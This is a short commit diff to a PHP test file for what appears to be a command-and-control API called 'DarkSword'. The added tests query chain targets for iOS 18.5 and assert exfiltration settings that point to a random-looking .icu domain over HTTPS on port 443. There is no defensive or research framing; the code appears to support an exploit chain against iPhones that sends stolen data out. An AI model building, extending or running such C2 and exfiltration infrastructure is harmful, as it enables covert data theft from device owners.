feat: ds
This commit is contained in:
@@ -93,7 +93,18 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
->assertJson([
|
||||
'ok' => true,
|
||||
'chain' => 'darksword',
|
||||
]);
|
||||
])
|
||||
->assertJsonPath('exfil.prefer_https', false);
|
||||
|
||||
$this->withHeaders([
|
||||
'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu',
|
||||
'X-Forwarded-Port' => '443',
|
||||
])->getJson('/api/ds/chain-targets?ios=18.5')
|
||||
->assertOk()
|
||||
->assertJsonPath('exfil.host', 'ocq4rod6pq6warv.icu')
|
||||
->assertJsonPath('exfil.tls', true)
|
||||
->assertJsonPath('exfil.prefer_https', true)
|
||||
->assertJsonPath('exfil.https_port', 443);
|
||||
|
||||
$this->get('/api/ds/log?text=lab')
|
||||
->assertOk()
|
||||
|
||||
Reference in New Issue
Block a user